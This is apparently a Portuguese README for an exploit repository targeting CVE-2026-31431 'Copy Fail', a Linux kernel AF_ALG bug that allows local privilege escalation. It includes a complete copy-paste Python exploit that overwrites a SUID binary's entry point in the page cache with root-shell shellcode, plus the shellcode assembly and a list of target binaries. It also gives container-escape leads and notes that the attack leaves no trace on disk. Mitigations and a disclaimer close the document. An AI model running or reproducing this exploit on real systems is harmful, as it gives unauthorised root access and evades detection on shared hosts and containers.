CVE-2026-31431 "Copy Fail" — Exploit LPE Universal

Escrita arbitrária de 4 bytes no page cache do kernel Linux → Escalação Local de Privilégios

Múltiplas abordagens de exploit: sobrescrita dinâmica do entry point ELF, substituição completa do binário, compatível com Python 3.x com fallback de splice via ctypes.

O que é isto?

CVE-2026-31431 é uma vulnerabilidade no subsistema criptográfico AF_ALG do kernel Linux. Ao abusar de splice() + descriptografia in-place authencesn, um utilizador sem privilégios pode escrever 4 bytes num offset arbitrário no page cache do kernel — o mesmo cache usado para toda a memória com suporte em ficheiros.

Isto significa:

• Sem condições de corrida — single-threaded, determinístico
• Sem privilégios especiais — funciona dentro de contentores Docker padrão (seccomp permite AF_ALG)
• Sem dependência de versão do kernel — afeta todos os kernels de 2017 até ao presente
• Modifica ficheiros apenas em memória — o disco não é tocado, o reboot apaga todos os vestígios

Abordagens de Exploit

Este repositório fornece três ferramentas que usam a mesma primitiva copy-fall do AF_ALG:

Entry point dinâmico — Analisa o cabeçalho ELF em tempo de execução para calcular o offset do ficheiro do entry point (p_offset + (e_entry - p_vaddr)), depois escreve um stub de shellcode pequeno. Sem offsets hardcoded — um único script funciona em qualquer binário SUID x86_64, independentemente da distribuição ou versão.

Substituição completa do binário — Sobrescreve o alvo a partir do offset 0 com um payload ELF completo pré-construído (comprimido com zlib e embutido no script). Pode visar binários não-SUID executados por processos privilegiados (cron jobs, serviços systemd, kube-proxy). Funciona com Python 2.

Verificador de vulnerabilidade — Testa se o sistema alvo tem AF_ALG, authencesn e algif_aead disponíveis antes de executar um exploit.

Início Rápido

Pré-requisitos

• Kernel Linux (qualquer versão desde ~2017)
• Python 3.x (para exploit.py; Python 2 suportado via poc_compatible.py)
• Qualquer binário SUID-root (/usr/bin/su, /usr/bin/sudo, etc.)

Reprodução numa única linha

# Criar um contentor de teste com um utilizador sem privilégios
docker run -ti --rm ubuntu:22.04 bash -c '
  sed -i "s|archive.ubuntu.com|mirrors.aliyun.com|g;s|security.ubuntu.com|mirrors.aliyun.com|g" /etc/apt/sources.list
  apt-get update -qq && apt-get install -y -qq python3 gcc
  cat > /tmp/verify.c << EOF
#include <unistd.h>
#include <stdio.h>
int main() {
    printf("uid=%d euid=%d\\n", getuid(), geteuid());
    printf("Not rooted - exploit entry point to get shell\\n");
    return 0;
}
EOF
  gcc -o /usr/local/bin/verify /tmp/verify.c
  chmod 4755 /usr/local/bin/verify
  useradd -m testuser
  su - testuser
'

Depois, dentro do contentor como testuser:

# Antes: setuid(0) falha porque o uid real não é 0
/usr/local/bin/verify
# uid=1000 euid=0
# (sai normalmente, sem root)

# Executar o exploit
python3 exploit.py /usr/local/bin/verify

# Depois: entry point sobrescrito, shellcode obtém root
# uid=0(root) gid=1000(testuser)

Numa única linha (sem necessidade de transferência de ficheiros)

Em cenários reais, muitas vezes só tens uma shell crua — sem scp, sem curl, sem wget. Este método usa cat heredoc para escrever o exploit diretamente no terminal:

# Opção 1: executar o script de shell
sh exploit-one-liner.sh /usr/local/bin/verify

# Opção 2: colar diretamente no terminal (copiar o bloco inteiro)
cat > /tmp/exploit.py << 'EXPY'
from __future__ import print_function
import os,socket,struct,sys,binascii,ctypes,ctypes.util
if not hasattr(os,'splice'):
 _l=ctypes.CDLL(ctypes.util.find_library('c'),use_errno=True)
 def _s(src,dst,count,offset_src=None,offset_dst=None,flags=0):
  ctypes.set_errno(0);pi=ctypes.byref(ctypes.c_longlong(offset_src)) if offset_src is not None else None;po=ctypes.byref(ctypes.c_longlong(offset_dst)) if offset_dst is not None else None;r=_l.splice(ctypes.c_int(src),pi,ctypes.c_int(dst),po,ctypes.c_size_t(count),ctypes.c_uint(flags))
  if r==-1:raise OSError(ctypes.get_errno(),'splice')
  return r
 os.splice=_s
def d(x):
 if isinstance(x,str):x=x.encode('ascii')
 return binascii.unhexlify(x)
def w(t,o,p):
 s=socket.socket(38,5,0);s.bind(("aead","authencesn(hmac(sha256),cbc(aes))"))
 s.setsockopt(279,1,d('0800010000000010'+'0'*64));s.setsockopt(279,5,None,4)
 u,_=s.accept();z=d('00')
 u.sendmsg([b"A"*4+p],[(279,3,z*4),(279,2,b'\x10'+z*19),(279,4,b'\x08'+z*3)],32768)
 r,ww=os.pipe();fd=os.open(t,0);os.splice(fd,ww,o+4,offset_src=0);os.splice(r,u.fileno(),o+4)
 try:u.recv(8+o)
 except:0
 [os.close(x) for x in [fd,r,ww]];u.close();s.close()
with open(sys.argv[1],'rb') as f: h=f.read(64)
e=struct.unpack_from('<Q',h,24)[0]
p=struct.unpack_from('<Q',h,32)[0]
n=struct.unpack_from('<H',h,56)[0]
sz=struct.unpack_from('<H',h,54)[0]
off=0
with open(sys.argv[1],'rb') as f:
 for i in range(n):
  f.seek(p+i*sz);ph=f.read(sz)
  if struct.unpack_from('<I',ph,0)[0]!=1: continue
  pv,po,pf=struct.unpack_from('<QQQ',ph,16)[:3];pv2=struct.unpack_from('<Q',ph,8)[0]
  if pv<=e<pv+pf: off=pv2+(e-pv);break
print("entry offset: 0x%x" % off)
sc=b'\x48\x31\xff\x31\xc0\xb0\x69\x0f\x05'
sc+=b'\x48\x31\xd2\x52'
sc+=b'\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00'
sc+=b'\x53\x48\x89\xe7\x48\x31\xf6\x31\xc0\xb0\x3b\x0f\x05'
print("shellcode %d bytes" % len(sc))
sc+=b'\x00'*(4-len(sc)%4)
for i in range(len(sc)//4):
 w(sys.argv[1],off+i*4,sc[i*4:i*4+4])
 print("  wrote 0x%x: %s" % (off+i*4,sc[i*4:i*4+4].hex()))
with open(sys.argv[1],'rb') as f:
 f.seek(off);vd=f.read(32)
print("verify: %s" % vd[:len(sc)].hex())
os.system(sys.argv[1])
EXPY

python3 /tmp/exploit.py /usr/local/bin/verify

Porque é que isto importa: Ambientes de contentores muitas vezes não têm ferramentas de transferência de ficheiros (scp, curl, wget). O método heredoc requer apenas cat e python3 — disponíveis em todo o lado.

Visar Outros Binários SUID

Podes substituir /usr/local/bin/verify por qualquer binário SUID-root:

python3 exploit.py /usr/bin/su
python3 exploit.py /usr/bin/sudo
python3 exploit.py /usr/bin/passwd
python3 exploit.py /usr/bin/chsh

⚠️ Aviso: Visar binários SUID do sistema (como /usr/bin/su) afeta todos os utilizadores do sistema. O binário fica inutilizável até o page cache ser limpo. Na máquina anfitriã, qualquer utilizador que execute su obteria uma shell root.

Num sistema partilhado/em produção, isto é imediatamente percetível — su vai crashar ou gerar shells inesperadas para todos. Usa verify.c para testes seguros.

Recuperação

O exploit apenas modifica o page cache (memória), não o disco. Opções de recuperação:

# No anfitrião (após testes no contentor):
echo 3 | sudo tee /proc/sys/vm/drop_caches

# Verificar recuperação:
xxd -l 8 /usr/bin/su
# Deve mostrar: 7f45 4c46 (.ELF)

Nota: Dentro de um contentor padrão (não privilegiado), echo 3 > /proc/sys/vm/drop_caches falha com Read-only file system — isto requer acesso ao anfitrião ou destruição do contentor.

Superfície de Ataque

Como Funciona

A Vulnerabilidade

O algoritmo AEAD authencesn do kernel tem um bug no seu caminho de descriptografia in-place:

1. O utilizador cria um socket AF_ALG com authencesn(hmac(sha256), cbc(aes))
2. O utilizador chama splice() para alimentar dados do ficheiro no socket criptográfico — isto mapeia páginas do page cache diretamente no scatterlist do kernel
3. Durante a descriptografia, authencesn escreve 4 bytes de seqno_lo após a tag de autenticação
4. Ao controlar o comprimento dos dados associados e o layout do IV, o atacante controla onde esses 4 bytes aterram

Resultado: escrita arbitrária de 4 bytes em qualquer ficheiro no page cache.

O Exploit

┌─────────────────────────────────────────────────────┐
│  Binário ELF (/usr/bin/su)                           │
│                                                     │
│  0x0000: ┌──────────┐                               │
│          │ ELF Header │  e_entry = 0x4013f0         │
│          │           │  ← analisado dinamicamente   │
│          └──────────┘                               │
│  ...                                                │
│  0x3f20: ┌──────────┐  ← offset do ficheiro calculado│
│          │ código original │                         │
│          │           │  ─── copy fall escreve ───→  │
│          │ SHELLCODE │  setuid(0) + execve("/bin/sh")│
│          └──────────┘                               │
│  ...                                                │
└─────────────────────────────────────────────────────┘

Quando o kernel carrega o binário SUID, define euid=0 e depois salta para o entry point.
O entry point agora é o nosso shellcode → setuid(0) é bem-sucedido → shell root.

Shellcode

xor  rdi, rdi          ; uid = 0
xor  eax, eax
mov  al, 0x69           ; __NR_setuid
syscall                 ; setuid(0)
xor  rdx, rdx
push rdx                ; terminador nulo
movabs rbx, "/bin/sh\0"
push rbx
mov  rdi, rsp           ; nome do ficheiro
xor  rsi, rsi           ; argv = NULL
xor  eax, eax
mov  al, 0x3b           ; __NR_execve
syscall                 ; execve("/bin/sh", NULL, NULL)

36 bytes, 9 escritas copy-fall (4 bytes cada).

Porque é que Isto Importa

Segurança de Contentores

Contentores Docker padrão não estão protegidos contra isto:

A única coisa que impede o escape de contentor é o isolamento do page cache por mount do overlayfs. Mas uma vez que tenhas root dentro do contentor, técnicas padrão de escape aplicam-se (cgroup release_agent, docker.sock, tokens serviceaccount do K8s, metadata da cloud).

Dificuldade de Deteção

• O disco nunca é modificado — as escritas no page cache são apenas em memória
• Nenhum ficheiro novo é criado — o exploit é um único script Python
• Nenhum módulo do kernel é carregado — puro abuso de syscalls
• O reboot apaga toda a evidência — o page cache é volátil

Sistemas Afetados

Todos os kernels Linux desde a conversão in-place do algif_aead (integrada ~2017), incluindo:

• Ubuntu 18.04 / 20.04 / 22.04 / 24.04
• Debian 10 / 11 / 12
• RHEL 8 / 9
• CentOS Stream
• Amazon Linux 2 / 2023
• Contentores Docker (perfil seccomp padrão)
• Pods Kubernetes (configurações padrão)
• WSL2 (confirmado)

Estrutura de Ficheiros

.
├── exploit.py              # Sobrescrita dinâmica do entry point ELF (Python 3.x)
├── exploit-one-liner.sh    # Versão pronta para colar (sem transferência de ficheiros)
├── poc_compatible.py       # Sobrescrita completa do binário ELF a partir do offset 0 (Python 2/3, por h4ppy7ree)
├── poc_ctypes.py           # splice via ctypes para Python 3.0-3.9 (por h4ppy7ree)
├── check_cve.sh            # Verificador de vulnerabilidade (por h4ppy7ree)
├── verify/
│   └── verify.c            # Programa de verificação SUID para testes
└── README.md               # Este ficheiro

Defesa

• Aplicar patch do kernel — correção upstream disponível
• Seccomp: Bloquear o domínio AF_ALG (socket(AF_ALG, ...) → errno)
• AppArmor: Negar criação de sockets af_alg
• Endurecimento do kernel: CONFIG_CRYPTO_USER_API_AEAD=n
• Monitorização: Auditar syscalls socket(AF_ALG=38, SOCK_SEQPACKET=5, 0)

Créditos

• Descoberta da vulnerabilidade: Taeyang Lee (Theori) / theori-io/copy-fail-CVE-2026-31431
• Cálculo dinâmico de offsets & exploit universal: Este trabalho
• Abordagem de substituição completa do binário & verificador de vulnerabilidade: h4ppy7ree (PR #1)

Aviso Legal

Este exploit é fornecido apenas para investigação de segurança autorizada e fins educacionais. O acesso não autorizado a sistemas informáticos é ilegal. Os autores não assumem qualquer responsabilidade e não são responsáveis por qualquer uso indevido ou dano causado por este programa.

Licença

MIT